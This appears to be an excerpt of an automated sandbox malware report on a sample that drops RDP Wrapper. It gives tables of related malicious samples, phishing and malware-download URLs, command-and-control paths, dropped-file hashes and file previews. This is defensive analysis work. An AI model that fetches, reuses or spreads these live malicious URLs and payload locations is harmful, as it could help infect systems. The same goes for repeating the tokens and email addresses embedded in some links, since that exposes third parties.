	https://all-seasons-custom-apparel.printavo.com/invoice/d737c3f58fce8a3f391367c903598233?preauth=eyJhbGciOiJSUzI1NiJ9.eyJleHAiOjE3Mjg5MzIwMTYsImlzcyI6NTgzNTkwNywidmVyIjoiY3VzdG9tZXItcHJlYXV0aC12MiIsInBheWFibGUiOiJnaWQ6Ly9wcmludGF2by9PcmRlci8xNjg1NjM0NiJ9.LtnCZuP7zuLtxrc0qbRVc6D_HBV5HHWCYKF01jdBqYuyRzcwCAYTob8CmMYRp7Sn00U104lhcfqDv7qsmGMnOH78EaGpveHtDYtxUOElE7wAp52mtirat1X6dyvgpRhT6-eDCGCiJGzxy-YKbE_aw8K9Fw7pCzHFK5Bt7nHyz1If3LLIeBwZbi0mQUn5emqAgeKnBMJ2XFzw5Q-DA83g9HgPpmp25RoTsyHIpHXM8qV9IeOjy_mBPVDrol9kKUE7ihWInuSSYMoe2wcHXsN_CYjRq-xL5WOOWElhHTzXUkVDNZjQiBTchiuo_h5Ozhh3KZ3eiTryy5PQBER3_8r08A	Get hash	malicious	Unknown	Browse
	https://uqr.to/rell.com	Get hash	malicious	HTMLPhisher	Browse
	https://assets.website-files.com/65dcd46fa0671b2619a77742/65f5bdbc751c83c1e159ecaf_19434403621.pdf	Get hash	malicious	Unknown	Browse
	https://visugupu.lazav.co.za/89492216153794278468874017?fetezogikixomijezabewodofadaju=dupemikizipogumelekejaxabosekakuselefuxavikamazujenanatikiwutojakizujesabokotalujanatobutizumirizikevinojowakitelupamufuxibilozejevuvapififemijoxidutadenuludilitiwumedodexanujisokobovawojilalusijuvizapimekima&utm_kwd=fema+test+answers+200&bidebumobagakowodakulilevepuvomomajefarajiloxadawolalonikizebegowozanizakewugolepawadesiduboxixoz=siresuperumosukagokiniwakinawikozalavixinozawodaliwapuwiwegisiganajoxugoxesikaloduwexorexesuzesoxudogilubu	Get hash	malicious	Unknown	Browse
	test2.html	Get hash	malicious	HTMLPhisher	Browse
	https://core4ce-my.sharepoint.us/personal/bilal_hassan_core4ce_com/Documents/NIFI%20-%20Buy%20vs%20Build%202024.docx	Get hash	malicious	HTMLPhisher	Browse
	https://us.tiktok-fbt.com/carrier/appointment/list	Get hash	malicious	Unknown	Browse
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse
	https://core4ce.sharepoint.us/:u:/r/sites/Rampart/Shared%20Documents/Rampart_Architecturev2.vsdx?d=wb2c36d35ead642a0bb768843135cb471&e=4%3ae9566662f2044e998431c3da92e36b60&sharingv2=true&fromShare=true&xsdata=MDV8MDJ8dHlsZXIucG9vckBjb3JlNGNlLmNvbXwxYTdmMTE5MDQ5NDk0ZWNkZDAxZDA4ZGNlYTFhMDJiM3wyNGY1ZmRiNmUwYzI0NDFmYWU3ZmQxNTBjNzI4ZTM3YnwwfDB8NjM4NjQyNjQ0NjQ2MjQ2MjY0fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=T1NBWmQzcmRTTTI2dmhrcnZIWG5ZZmFyRGFSUXZyVFhEajMxNTkyZmhHcz0%3d	Get hash	malicious	HTMLPhisher	Browse
8.46.123.33	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
188.114.96.3	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sirr/five/fre.php
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	863811cm.nyafka.top/video_RequestpacketUpdategeneratorPublic.php
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/
	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2uvi/
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/71nl/
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/VO2TX
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/fOmsJ2bL/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hansgborn.eu	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.96.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
api.ipify.org	ATLANTIC STAR - VESSEL DETAILS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.13.205
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	Order0958490.vbe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Win64.PWSX-gen.30688.21076.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	https://www.canva.com/design/DAGTGtfEYnw/CziuYyD8EEWyTr61OD4BbQ/edit?utm_content=DAGTGtfEYnw&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutto	Get hash	malicious	HtmlDropper	Browse	172.67.74.152
	HS034Ewroq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	RUN.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	6706ad721d914_JuidePorison.exe	Get hash	malicious	Unknown	Browse	147.45.47.185
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	147.45.47.185
	http://sycuan.com/	Get hash	malicious	Unknown	Browse	147.45.47.98
	http://malw.esalesin.com/yuop/66e5f96b41510_GageEpa.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://kale.amwebsolution.com/yuop/66ddda1c094df_crypted.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://kale.amwebsolution.com/yuop/66c323e1543cd_ffrs.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://kale.amwebsolution.com/revada/66e4638fb0392_otrrac.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	fBcMVl6ns6.lnk	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
	rpQF1aDIK4.lnk	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
	test.ps1	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
CLOUDFLARENETUS	6706ad721d914_JuidePorison.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://pixel.sitescout.com/iap/2f9ab12ef98b04db?r=https://expresscards.com.au/dead/recaptcha	Get hash	malicious	Unknown	Browse	104.21.2.159
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	172.67.221.87
	https://all-seasons-custom-apparel.printavo.com/invoice/d737c3f58fce8a3f391367c903598233?preauth=eyJhbGciOiJSUzI1NiJ9.eyJleHAiOjE3Mjg5MzIwMTYsImlzcyI6NTgzNTkwNywidmVyIjoiY3VzdG9tZXItcHJlYXV0aC12MiIsInBheWFibGUiOiJnaWQ6Ly9wcmludGF2by9PcmRlci8xNjg1NjM0NiJ9.LtnCZuP7zuLtxrc0qbRVc6D_HBV5HHWCYKF01jdBqYuyRzcwCAYTob8CmMYRp7Sn00U104lhcfqDv7qsmGMnOH78EaGpveHtDYtxUOElE7wAp52mtirat1X6dyvgpRhT6-eDCGCiJGzxy-YKbE_aw8K9Fw7pCzHFK5Bt7nHyz1If3LLIeBwZbi0mQUn5emqAgeKnBMJ2XFzw5Q-DA83g9HgPpmp25RoTsyHIpHXM8qV9IeOjy_mBPVDrol9kKUE7ihWInuSSYMoe2wcHXsN_CYjRq-xL5WOOWElhHTzXUkVDNZjQiBTchiuo_h5Ozhh3KZ3eiTryy5PQBER3_8r08A	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://uqr.to/rell.com	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://assets.website-files.com/65dcd46fa0671b2619a77742/65f5bdbc751c83c1e159ecaf_19434403621.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://visugupu.lazav.co.za/89492216153794278468874017?fetezogikixomijezabewodofadaju=dupemikizipogumelekejaxabosekakuselefuxavikamazujenanatikiwutojakizujesabokotalujanatobutizumirizikevinojowakitelupamufuxibilozejevuvapififemijoxidutadenuludilitiwumedodexanujisokobovawojilalusijuvizapimekima&utm_kwd=fema+test+answers+200&bidebumobagakowodakulilevepuvomomajefarajiloxadawolalonikizebegowozanizakewugolepawadesiduboxixoz=siresuperumosukagokiniwakinawikozalavixinozawodaliwapuwiwegisiganajoxugoxesikaloduwexorexesuzesoxudogilubu	Get hash	malicious	Unknown	Browse	188.114.96.3
	test2.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	172.67.69.226
	Play-VM_Now(J.michael.marsh)CR.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
AS-PUBMATICUS	https://lessonfulladvocating.z19.web.core.windows.net/	Get hash	malicious	Anonymous Proxy	Browse	185.64.190.78
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	198.47.127.205
	https://uk01.l.antigena.com/l/gSyI41Gz96sNln53sagX7eNcywQQOoEnYDagSj-Ka4rmvUc~~ge2uUdYhkRZf~qdeCYR20MfqPF0Cl22iQAPA~D-kwryf6JMugP38-hVRau_ADDrbJG64mdp-ZsyZX_NR5Aqy8QOMomREd_j~F2RHekIK09DCim8Shqfhw4hZXnXF1DPP7U2UTL09nH60jVmeQTVNhtpj6BYLNdVUlIVUBIDlYaiNtMQkkHjcq1woyuQdpbGd~TSAUV	Get hash	malicious	Unknown	Browse	185.64.189.112
	https://event.stibee.com/v2/click/NDA4MDIvMjQzOTA2MS80OTAyMzcv/aHR0cHM6Ly9uLm5ld3MubmF2ZXIuY29tL21uZXdzL2FydGljbGUvMDI1LzAwMDMzOTE2NDc_c2lkPTEwMQ	Get hash	malicious	Unknown	Browse	185.64.190.81
	https://issuu.com/ryanrodger/docs/smn8263528?fr=sMTQ5NTc4NTgxNDc	Get hash	malicious	Unknown	Browse	185.64.190.81
	https://www.google.com/url?q=uuQiApLjODz3yh&rct3HOSoz=FX0jkXyycTtTPSJ3J3wD&sa=t&esrc=xys8Em2FLWSECxFgECA0&source=&cd=9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvKHXUursu8uEcr4eTiw&uact=&url=amp/%6E%6F%74%69%63%69%61%73%64%65%73%6F%62%72%61%6C%2E%63%6F%6D%2E%62%72%2F%53%6E%4D%2F%53%6E%4D%4D%6E%2FId8YFztg7UwWUbbimvaQs4ehpgvpwTWK4iWFkE4Q%2Flinda.leesman@coldwellbanker.com	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
	https://www.mediafire.com/file/dl1ll51b96z8hcb/paginas_para_descargar_Vectores_gratis_2018.zip/file	Get hash	malicious	Unknown	Browse	198.47.127.20
	https://videostreamingsettlement.simplurisdev.com/form/choice	Get hash	malicious	Unknown	Browse	185.64.191.210
	http://fortcollinsfineart.com/	Get hash	malicious	Unknown	Browse	198.47.127.205
	https://shoutout.wix.com/so/68P9j4pbc/c?w=YIpy_LmKpeOuRTcqEasLgbctjTenhex96yD397bZU04.eyJ1IjoiaHR0cHM6Ly9maWxlc3NoYXJlcy5naXRodWIuaW8vYXJ1dHkvIiwiciI6IjU3ZWU5MDNjLTU1YjktNDMxYS0zNDRiLWUzZjYxNjRhN2I0MiIsIm0iOiJtYWlsIiwiYyI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCJ9	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
CLOUDFLARENETUS	6706ad721d914_JuidePorison.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://pixel.sitescout.com/iap/2f9ab12ef98b04db?r=https://expresscards.com.au/dead/recaptcha	Get hash	malicious	Unknown	Browse	104.21.2.159
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	172.67.221.87
	https://all-seasons-custom-apparel.printavo.com/invoice/d737c3f58fce8a3f391367c903598233?preauth=eyJhbGciOiJSUzI1NiJ9.eyJleHAiOjE3Mjg5MzIwMTYsImlzcyI6NTgzNTkwNywidmVyIjoiY3VzdG9tZXItcHJlYXV0aC12MiIsInBheWFibGUiOiJnaWQ6Ly9wcmludGF2by9PcmRlci8xNjg1NjM0NiJ9.LtnCZuP7zuLtxrc0qbRVc6D_HBV5HHWCYKF01jdBqYuyRzcwCAYTob8CmMYRp7Sn00U104lhcfqDv7qsmGMnOH78EaGpveHtDYtxUOElE7wAp52mtirat1X6dyvgpRhT6-eDCGCiJGzxy-YKbE_aw8K9Fw7pCzHFK5Bt7nHyz1If3LLIeBwZbi0mQUn5emqAgeKnBMJ2XFzw5Q-DA83g9HgPpmp25RoTsyHIpHXM8qV9IeOjy_mBPVDrol9kKUE7ihWInuSSYMoe2wcHXsN_CYjRq-xL5WOOWElhHTzXUkVDNZjQiBTchiuo_h5Ozhh3KZ3eiTryy5PQBER3_8r08A	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://uqr.to/rell.com	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://assets.website-files.com/65dcd46fa0671b2619a77742/65f5bdbc751c83c1e159ecaf_19434403621.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://visugupu.lazav.co.za/89492216153794278468874017?fetezogikixomijezabewodofadaju=dupemikizipogumelekejaxabosekakuselefuxavikamazujenanatikiwutojakizujesabokotalujanatobutizumirizikevinojowakitelupamufuxibilozejevuvapififemijoxidutadenuludilitiwumedodexanujisokobovawojilalusijuvizapimekima&utm_kwd=fema+test+answers+200&bidebumobagakowodakulilevepuvomomajefarajiloxadawolalonikizebegowozanizakewugolepawadesiduboxixoz=siresuperumosukagokiniwakinawikozalavixinozawodaliwapuwiwegisiganajoxugoxesikaloduwexorexesuzesoxudogilubu	Get hash	malicious	Unknown	Browse	188.114.96.3
	test2.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	172.67.69.226
	Play-VM_Now(J.michael.marsh)CR.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://core4ce.sharepoint.us/:u:/r/sites/Rampart/Shared%20Documents/Rampart_Architecturev2.vsdx?d=wb2c36d35ead642a0bb768843135cb471&e=4%3ae9566662f2044e998431c3da92e36b60&sharingv2=true&fromShare=true&xsdata=MDV8MDJ8dHlsZXIucG9vckBjb3JlNGNlLmNvbXwxYTdmMTE5MDQ5NDk0ZWNkZDAxZDA4ZGNlYTFhMDJiM3wyNGY1ZmRiNmUwYzI0NDFmYWU3ZmQxNTBjNzI4ZTM3YnwwfDB8NjM4NjQyNjQ0NjQ2MjQ2MjY0fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=T1NBWmQzcmRTTTI2dmhrcnZIWG5ZZmFyRGFSUXZyVFhEajMxNTkyZmhHcz0%3d	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	http://url5730.bkb-tours.com/ls/click?upn=u001.RGHmK1hbhRj1emqWdiNhLSLfhiHa5Xgj2PgdNFABoTzAEieA-2BAi72IlbwekEjzmy-2Bbvyjc6OaRM0j3Y4D96jZw-3D-3DG4Tq_wXBdKYou10O603QUzohLrBXWU3YfNwQigQmNAZXWbchq1WxjhMmweu-2FsutHjCUOKgUsL1AEPO-2F1jqLGA03IzQNq4MlBckGxqkEdgu9HqRVlCmnJ85n6wm-2BzvOUq0BPDZXr3-2BluL3-2BDQeHC-2FJZEnOA97FZtVYoDRbgfFeAz8yxoNTU22tvz2JvclHgGtf89SHnjWf9Y4A7r9zOGlPW5-2BVo7wIOqFAMRi9gye4bfLDSU3bIlpe30QNdbCxMefROgxhIvDYCDpKvM0M1pyQuOf8-2FUv9F2qHTHfddQ0u9GJkv7AlxRLbrzO3CG9v2UgkFfULX-2FtaQHUZePeY1INl-2Ft8YWAmD34DRvO7PgOFYUtOHqQc142SVia-2B-2FfcNe-2B-2B1zBlTQ9BN7px54JgZqdkTrLJ8R7Gq78HB-2BrMaRq6RIPVU5xXMCh0hZyKktj6WmBkGu7BBJluAUqE6teQaLicI5acYsjVgsULcigN16VLspLLTfrEjIYuLuQyBjbdTUwkD51X0Waw5zxTpt24hpfPUx5A-2BA-2By5-2BZ9ocOnRbMF7M9MxOy-2Brhoe3cZnH2UdsDnEx5xGprXRBR3ASOpwYm7R9WwhkNlGOXWldZzrIKdhsYYbAbbYOOHH9WeqrWWoAhcKT4soJLl-2F91D78WyflRx6ltvfE0uzNnG7n2zMVOjZWqybChHvbVX2QPCYYbqvz8LfnR745-2BmZg1D4XRCJJ5710Tt-2BtEfNlyxu9OGFgsIZkJt7TvcesWWbtV-2Fs1WKWvJNdRvMj8hMSbwcRp-2BM69Fhor49ffRX3uqERmvbv-2Fw8RjCqwi5t0C7OT0lC6THc9pCVUXIPeNjVJkt7ARDRpbrMjcf0rfyMg-3D-3D	Get hash	malicious	Unknown	Browse	188.114.96.3
	ATLANTIC STAR - VESSEL DETAILS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.96.3
	tut.bat	Get hash	malicious	Unknown	Browse	188.114.96.3
	Audio.wavqvc.com10098.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tzr7wtjq.r.us-east-1.awstrack.me/L0/https:%2F%2Fclickproxy.retailrocket.net%2F%3Furl=https%253A%252F%252Fneamunit.ro%2F%2Fwinners%2F%2Fnatalie.gilbert%2FbmF0YWxpZS5naWxiZXJ0QGJlbm5ldHRzLmNvLnVr/1/010001927b41f2f4-541067bc-8926-4dcb-8f02-24fcf186dd1a-000000/pqvbHhvZKuWAqkc2J1BWoU1pciA=395	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	188.114.96.3
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\RDP Wrapper\rdpwrap.dll	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	116736
Entropy (8bit):	5.884975745255681
Encrypted:	false
SSDEEP:	3072:m3zxbyHM+TstVfFyov7je9LBMMmMJDOvYYVs:oMjTiVw2ve9LBMMpJsT
MD5:	461ADE40B800AE80A40985594E1AC236
SHA1:	B3892EEF846C044A2B0785D54A432B3E93A968C8
SHA-256:	798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
SHA-512:	421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FE58A3ACAD6EC1199A48DC333B2D8A26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, Detection: malicious, Browse Filename: hloRQZmlfg.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.rB/.!B/.!B/.!.~.!j/.!.~.!&/.!.~3!H/.!..'!G/.!B/.!./.!O}.!F/.!O}0!C/.!O}7!C/.!O}2!C/.!RichB/.!................PE..d...Z..T.........." .................Q....................................... ............`.........................................0...l.......<...................................................................`...p............ ...............................text............................... ..`.rdata..<.... ......................@..@.data....=..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\RDP Wrapper\rdpwrap.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	443552
Entropy (8bit):	5.4496544667416975
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7Y:TJGYS33L+MUIiG4IvREWddadl/Fy/k9c
MD5:	92BC5FEDB559357AA69D516A628F45DC
SHA1:	6468A9FA0271724E70243EAB49D200F457D3D554
SHA-256:	85CD5CD634FA8BBBF8D71B0A7D49A58870EF760DA6D6E7789452CAE4CAB28127
SHA-512:	87E210E22631C1A394918859213140A7C54B75AEC9BBC4F44509959D15CFA14ABCBFEB1ADF9CFFA11B2E88F84A8708F67E842D859E63394B7F6036CE934C3CC9
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-09-25..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\67065b4c84713_Javiles.exe.log

Download File

Process:	C:\Users\user\Desktop\67065b4c84713_Javiles.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.345181606725495
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeBE4D2c/sXE4qdKm:MxHKlYHKh3oPtHo6hAHKzeBHCHHA
MD5:	B602069B69E310409FAD82BFC3CBB818
SHA1:	ED23568805903474D8E77BCE3AD927E5065FFFCD
SHA-256:	979D1AD6AF4CFA4BF6782D5F781BE35F0C7B9FF42B09EE9D3165A3E8F3B80E57
SHA-512:	A5EFDA1DAA3616317054E5F692DF3A7ACA497DFA7BD3B42F056777F0CA3BAF422725C88C47FDC8718CA157CABB15BCCDC26EDAF8A31ECA491FC1C38A8342C43C
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.DirectoryServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Di

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Download File

Process:	C:\Users\user\Desktop\67065b4c84713_Javiles.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1785344
Entropy (8bit):	6.646511331349125
Encrypted:	false
SSDEEP:	24576:+rKxoVT2iXc+IZP+6WiaTAsN/3ebTvK+63CWH8iA/iD2hgPjcC8SVdKumYr7:vHZGpdqYH8ia6GcKuR7
MD5:	C213162C86BB943BCDF91B3DF381D2F6
SHA1:	8EC200E2D836354A62F16CDB3EED4BB760165425
SHA-256:	AC91B2A2DB1909A2C166E243391846AD8D9EDE2C6FCFD33B60ACF599E48F9AFC
SHA-512:	B3EAD28BB1F4B87B0C36C129864A8AF34FC11E5E9FEAA047D4CA0525BEC379D07C8EFEE259EDE8832B65B3C03EF4396C9202989249199F7037D56439187F147B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
